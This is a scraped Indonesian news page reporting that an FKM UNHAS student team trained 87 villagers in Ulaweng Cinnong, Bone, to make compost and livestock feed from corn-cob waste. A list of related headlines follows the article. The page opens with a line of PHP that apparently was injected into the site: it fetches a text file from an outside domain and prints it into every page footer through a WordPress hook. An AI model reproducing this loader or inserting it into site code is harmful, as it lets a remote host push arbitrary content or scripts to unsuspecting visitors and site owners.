function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Tim PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS Mengubah Limbah Bonggol Jagung menjadi Pupuk dan Pakan Guna Wujudkan Desa Sehat Aman Limbah - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Rabu, 24 Juli 2024 - 13:04 WIB

Tim PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS Mengubah Limbah Bonggol Jagung menjadi Pupuk dan Pakan Guna Wujudkan Desa Sehat Aman Limbah

Doc. PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS Mengubah Limbah Bonggol Jagung menjadi Pupuk dan Pakan Guna (Istimewa)

Doc. PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS Mengubah Limbah Bonggol Jagung menjadi Pupuk dan Pakan Guna (Istimewa)

Ulaweng Cinnong, 24 Juli 2024 – Tim PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS melaksanakan kegiatan pelatihan pengelolaan limbah pertanian dengan mengolah bonggol jagung menjadi pupuk kompos dan pakan ternak. Inisiatif ini bertujuan untuk mendukung keberlanjutan lingkungan, serta memberikan solusi terhadap masalah limbah pertanian. Kegiatan dilaksanakan di Dusun Gilingeng, Dusun Langanca, Dusun Laccerang, Dusun Todusung dan Dusun Maccading, Desa Ulaweng Cinnong, Kecamatan Ulaweng, Kabupaten Bone. Kegiatan berlangsung 18 Juli hingga 21 Juli 2024, yang diikuti oleh total 87 warga.

Bonggol jagung yang dulunya dianggap sebagai limbah kini dapat diolah menjadi pupuk organik. Melalui proses pengomposan yang melibatkan teknik fermentasi dan penggunaan mikroorganisme, pupuk yang dihasilkan dengan kandungan yang sangat baik untuk tanaman. Program ini tidak hanya mengurangi limbah, tetapi juga mengurangi ketergantungan petani pada pupuk kimia dan juga membantu menjaga keseimbangan ekosistem tanah.

Doc. Sosialisasi Pengolahan Limbah Bonggol Jagung (Istimewa)

“Kami sangat berterima kasih kepada mahasiswa unhas karena telah melakukan sosialisasi mengenai pengolahan limbah bonggol jagung, yang dulunya dianggap sebagai limbah ternyata dapat di manfaat kan menjadi pupuk dan pakan,” ujar Kepala Desa.

Baca Juga  Mahasiswa KKNT Unhas Lakukan Sosialisasi Rabies Secara Door to Door Di Desa Bontosunggu, Selayar

Kegiatan sosialisasi dan pelatihan ini, dijelaskan manfaat, alat bahan, serta cara pembuatan pupuk kompos dan pakan ternak. Untuk bahan yang diperlukan hanyalah bonggol jagung, kotoran ayam, air, molase, dan EM4, yang disampaikan langsung oleh Muh. Arfandy Wiranata selaku anggota tim PPK Ormawa.

“Pupuk organik bisa memberikan efek positif bukan hanya memperbaiki unsur hara tanaman, tetapi juga untuk kesehatan tanah dan lingkungan,” jelasnya.

Selain dijadikan pupuk, bonggol jagung juga dapat diolah menjadi pakan ternak. Proses pengolahan ini melibatkan inokulan unggul (bakteri) dalam proses fermentasi yang membantu meningkatkan nilai nutrisi dari bonggol jagung, menjadikannya sumber pakan alternatif yang kaya serat dan baik untuk ternak.

Doc. Pelatihan Pembuatan Pupuk Kompos dan Pakan Ternak dari Limbah Bonggol Jagung (Istimewa)

Program ini mendapat antusias dan dukungan penuh dari masyarakat desa, dengan setiap dusun berkontribusi dalam pengumpulan bonggol jagung dan proses pengolahan. Pelatihan juga diselenggarakan untuk memberdayakan warga dalam teknik-teknik pengolahan limbah bonggol jagung yang tepat.

Baca Juga  Kualitas Proposal PKM 2024 Makin Dimatangkan, FKM Unhas Gelar Finalisasi Draft dan Submit Proposal PKM

Selain itu, kehadiran Tim PPK Ormawa LD AL-‘AAFIYAH FKM UNHAS juga berhasil mengumpulkan kembali warga yang biasanya sibuk bekerja di kebun sehingga jarang memiliki waktu untuk berkumpul bersama. Warga sangat senang dengan adanya kegiatan seperti ini.

“Bagus ada kegiatan seperti ini, karena biasanya kami jarang berkumpul, semua sibuk di kebun, nanti ada kegiatan seperti ini baru kita berkumpul lagi,” ujar warga di Dusun Maccading yang didengar langsung oleh ketua PPK Ormawa.

Pelaksanaan program sosialisasi dan pelatihan pembuatan pupuk kompos dan pakan ternak dari limbah bonggol jagung diharapkan dapat memberikan manfaat yang luas, baik dari segi ekonomi maupun lingkungan dengan mengolah limbah bonggol jagung menjadi produk yang bernilai. Program ini dapat menjadi contoh bagi desa-desa lain dalam mengembangkan solusi berkelanjutan untuk masalah limbah dengan menciptakan desa yang lebih sehat dan aman dari limbah.

Share :

Baca Juga

Berita

Mahasiswa FKM Unhas Posko 29, Laksanakan Seminar Awal PBL 2 di Kantor Desar Tamarupa

Berita

EKSPOR: Edukasi Kompos Sampah Organik di MTs Darul Kamal Mandalle, Desa Tamarupa, Kabupaten Pangkep, Sulawesi Selatan oleh Mahasiswa Posko 29 PBL 2 Fakultas Kesehatan Masyarakat, Universitas Hasanuddin

Berita

POSKO 30 PBL III FKM UNHAS Distributes Leaflets to Students of SDN 24 Taraweang as Reconstruction of Waste Management Intervention

Berita

Penyuluhan Penyakit Hipertensi, Mahasiswa PBL II FKM UNHAS Gunakan Media Video & Leaflet Untuk Mendukung Pencapaian Poin 3 SDG’s

Berita

Mahasiswa PBL II FKM Unhas Berhasil Melakukan Pemasangan Papan Wicara terkait Informasi Jenis-Jenis Sampah dan Waktu Penguraiannya

Berita

Wujudkan Wilayah Bebas AKI dan Stunting melalui Pelatihan TPK oleh Tim Pengabdian FKM Universitas Hasanuddin di Kecamatan Mapilli Kabupaten Polewali Mandar

Berita

Workshop Update RPS dan Proses Belajar Mengajar: Program Studi S2 Ilmu Gizi FKM Unhas Menghadirkan Kolaborasi dan Inovasi Tingkat Internasional

Berita

Mahasiswa FKM UNHAS Pimpin Implementasi Ilmu Kesehatan Lingkungan di Lombok Sebagai Delegasi Terpilih